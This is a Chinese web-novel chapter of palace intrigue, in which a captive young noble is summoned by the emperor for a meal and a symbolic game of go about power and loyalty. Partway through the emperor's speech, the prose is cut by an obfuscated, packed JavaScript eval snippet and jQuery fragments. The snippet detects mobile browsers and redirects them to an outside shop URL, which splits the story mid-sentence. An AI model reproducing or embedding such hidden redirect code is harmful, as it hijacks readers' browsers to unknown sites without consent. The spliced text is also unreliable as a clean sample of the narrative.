罚跪的风波，随着新雪的覆盖与宫中刻意的不提，渐渐淡出了朝野明面上的议论。
德泽殿的生活恢复了表面的“静养”节奏，甚至比之前更为严苛。每日的经书从十遍增至十五遍，晨诵的时间又提前了半个时辰。太医署请脉的记录愈发详实，连每日饮食的品类、分量、乃至用膳时辰的细微变化，都一一载录在案，直送紫宸殿。
宇文戎沉默地承受着这一切。他的脸色依旧苍白，身形在宽大的孝服下更显清癯，但那双眼睛——在经历了武门风雪与御前那番惊心动魄的“推心置腹”后，沉淀下一种更深、更冷的静。
他开始更专注地研读《武经七书》，尤其是《孙子》与《吴子》。左手临帖的馆阁体，在日复一日的强迫练习下，竟也渐渐有了筋骨，虽不及右手曾经的锋芒毕露，却自有一种内敛的力道。他将那些纵横捭阖的谋略、虚实相生的道理，与眼前这座宫殿、与记忆中的北境山川、与梁帝的每一次对话眼神，一一对照、拆解、重构。
梁帝那句“朕也会心疼”，像一根刺，扎在他心里。他反复咀嚼，试图分辨其中真情与假意的比例。三分的可能，七分的算计？或者连那三分，也是算计的一部分？他无法确定，但这不确定本身，让他对这位帝王舅舅的认知，剥去了最后一层单纯“畏惧”或“怨恨”的薄纱，变得更加复杂、也更加……贴近本质。
帝王也是人。有软肋，有旧伤，有私心。这认知并未让他感到轻松，反而更觉如履薄冰。因为人的心思，比冰冷无情的规则更难测，也更易变。
这日，德泽殿的晨钟刚敲过卯正，怀恩便亲自来传口谕：陛下召公子戎紫宸殿用膳。
宇文戎正跪在佛前诵《地藏经》最后一卷，闻言未停，直至念完最后一句“悉皆消灭”，才缓缓起身。靛青粗麻孝服宽大，越发衬得人形销骨立。
紫宸殿东暖阁里炭火烧得极旺，一进去，寒气尽消，扑面是融融暖意夹杂着清雅的檀香。
梁帝坐在膳桌旁，玄色家常直身，玉簪松挽，像个等晚辈吃饭的寻常长辈。目光落在他膝盖处，停留了一瞬。
“坐。”梁帝抬手，“膝盖还疼吗？”
“谢陛下关怀，已好多了。”宇文戎下拜落座，答得平静。桌上摆得素净：素炒豆腐衣、清灼荠菜、山药茯苓羹、松茸清汤、糙米薏仁饭。全是素，多是温补脾胃的。
梁帝亲手盛了碗山药羹推过来：“趁热。”
宇文戎端起白瓷碗。温热，茯苓的微苦和山药的清甜混在一起——和当年的味道，分毫不差。
一顿饭在沉默和梁帝偶尔的闲谈中用完。直到宫人撤去碗碟。
“陪朕下盘棋吧。”
“臣棋艺粗陋，恐扰陛下雅兴。”
“无妨。”梁帝已走向棋枰，“今日不下争胜的棋。”
紫檀棋枰光润如镜。梁帝执黑先行，落子舒缓。宇文戎执白应对，右手腕的旧伤让执棋姿势有些别扭，但落子很稳。
三十余手后，黑棋的势显出来——不是凌厉攻杀，是绵密的合围。白棋步步后退，像雪地里被驱赶的鹿。
宇文戎看着棋盘上那片被围困的白棋，梁帝落下的每一手——都不是杀招，都是围，都是困，都是留着一线生机的局。
他忽然松开手指，那枚白子轻轻落回棋罐，发出极轻的“嗒”。
然后他抬起手，将棋罐的盖子合上了。
“臣，”他起身，退后两步，深深躬身，“输了。”
不是棋局输了。
是懂了——在这盘棋里，他从来就没有赢的资格。
梁帝看着合上的棋罐，看着宇文戎低垂的头顶，缓缓道：“棋局未终，何以言输？”梁帝缓缓道，“朕记得，你小时候下棋，哪怕只剩一口气，也要挣扎到最后一子。”
宇文戎保持躬身的姿势，声音平静得像结了冰的湖：
“臣不是小孩子了。陛下胸有经纬，执子如执天下。臣纵竭尽全力，亦不过盘中一子，进退皆在陛下指掌之间。”他顿了顿，“既知必败，不如早降。免得……徒劳挣扎。”
“早降……”他咀嚼着这两个字，声音听不出喜怒，他将那枚黑子轻轻放回棋罐，又伸出两指，夹起一枚白子。
“戎儿，你告诉朕，”梁帝将那枚白子放在指尖，对着烛光端详，语气平淡得像在讨论天气，“若一枚棋子，不愿落在朕为他选定的‘活眼’上，反要自填一气，求个玉碎……执棋之人，该当如何？”
宇文戎的呼吸几不可察地一滞。
梁帝没有等他回答，指尖一松，那枚白子“叮”一声，落在了棋盘之上，声音清脆，在寂静的暖阁里荡开细微的回响。
“是费些功夫，将它提走，换一枚更听话的棋子？”梁帝缓缓道，目光却从棋子移到了宇文戎脸上，带着审视，“还是……再给它一次机会，甚至，为它改一改局部的定式？”
这话里的机锋，已不是棋道，而是赤裸裸的权术与人心。
宇文戎终于抬起眼，迎上梁帝的视线。那双总是沉寂的眼眸深处，此刻有锐利的光芒掠过，如同冰层下急速涌动的暗流。他听懂了。梁帝在告诉他，他的“不争”与“早降”，在帝王眼中并非无懈可击的顺从，而是一种更隐晦的反抗。而帝王可以选择摧毁他，也可以……为了某种目的，容忍甚至“修改”规则。
“臣惶恐。”宇文戎垂下眼帘，掩去眸中情绪，“棋子无知，岂敢揣度执棋之人心意。唯知……落子无悔。”
“无悔？”梁帝轻轻重复，忽然笑了笑，那笑容里有些说不清道不明的东西，“好一个落子无悔。可戎儿，这世上哪有真正的‘无悔’？不过是代价付得起，或付不起罢了。”
他站起身，踱到窗前，背对着宇文戎，望着窗外越下越密的雪。
“朕知道你心里有怨，有惧，也有恨。”梁帝的声音透过背影传来，少了几分压迫，多了几分沉缓，“怨朕将你羁縻于此，惧朕动你珍视之人，恨朕当年为了江山社稷，毁掉了你本该肆意的一生。”
宇文戎的身体彻底僵住，袖中的手紧紧攥成了拳，指甲深深陷入掌心。
“朕不怪你。”梁帝继续道，声音里透着一丝罕见的疲惫，“坐在这个位置上，有些事，不得不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048638|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为。有些局，不得不布。”
暖阁内陷入长久的寂静，只有炭火偶尔的噼啪声。
良久，梁帝才重新开口，语气恢复了惯常的冷静：“朕今日说这些，不是要你体谅朕的难处。帝王没有难处，只有选择。”
他走回棋枰前，看着那局残棋，忽然伸手，将几颗关键位置的黑子，轻轻拨开。
原本严密的合围，顿时出现了一个细微的缺口。
“戎儿，你看，”梁帝指着那个缺口，“棋局是死的，人是活的。定式可以破，活路……也可以自己走出来。”
他抬眼，目光锐利如电，直刺宇文戎心底：“朕要好好想清楚，你想做什么，能做什么，以及……为了你想做的，愿意付出什么，又能给朕、给这大梁天下，带来什么。”
这不是宽容，而是更苛刻的命题。梁帝给了他一线看似生机的东西，却要他用自己的价值去交换，去证明。这不再是单纯的棋子，而是……需要展示潜力与忠诚的“刃”。
宇文戎的心脏在胸腔里沉重地跳动着。他明白了梁帝的意思。帝王需要一把更好用、更顺手，甚至能自行开拓局面的刀。这比单纯的对抗或顺从，都要艰难百倍。
宇文戎缓缓跪倒在地，这一次，他的姿态里少了几分被迫的服从，多了一丝凝重的决意，“愚愿竭尽所能，不负陛下……教诲。”
“起来吧。”梁帝抬手虚扶了一下，“膝盖有伤，以后非正式场合，这些虚礼可免。”这又是一点微不足道、却信号明确的“恩典”。
“谢陛下。”宇文戎起身，垂手立在一旁。
梁帝似乎有些倦了，挥了挥手，“回去吧。路上当心。”
“臣告退。”
宇文戎退出暖阁，走入漫天风雪之中。膝盖处传来的隐痛此刻格外清晰，但心头的重压，似乎因那番刀光剑影、却又打开一丝缝隙的对话，而产生了微妙的变化。
囚笼依旧，枷锁仍在。但笼外执锁的人，似乎给了他一把极其微小、甚至可能反噬自身的锉刀。
紫宸殿内，梁帝独自坐在棋枰前，看着被自己拨乱的那几枚黑子，久久未动。
“怀恩。”
“奴才在。”
“你说，朕是不是把他逼得太紧了？”梁帝的声音很低，像是自问。
怀恩躬身，小心翼翼道：“陛下圣心独运，对公子既是磨砺，也是保全。老奴愚见，公子是聪慧之人，定能体会陛下深意。”
“聪慧……”梁帝扯了扯嘴角，“就怕太聪慧了。”
他闭上眼睛，靠在椅背上，眉宇间掠过一丝疲惫。
“看好德泽殿。一应用度，按……皇子份例暗中加两成。太医每日脉案，朕要亲阅。还有，”他顿了顿，“窦连翘在太医院的言行，每日一报。非必要……勿扰她。”
“奴才明白。”
梁帝不再说话。
他确实在养一把刀，一把可能伤人也可能伤己的利刃。但他也在养一个外甥，一个流着与他相似血液、让他偶尔会心软的孩子。
这二者之间的界限，连他自己，也日渐模糊了。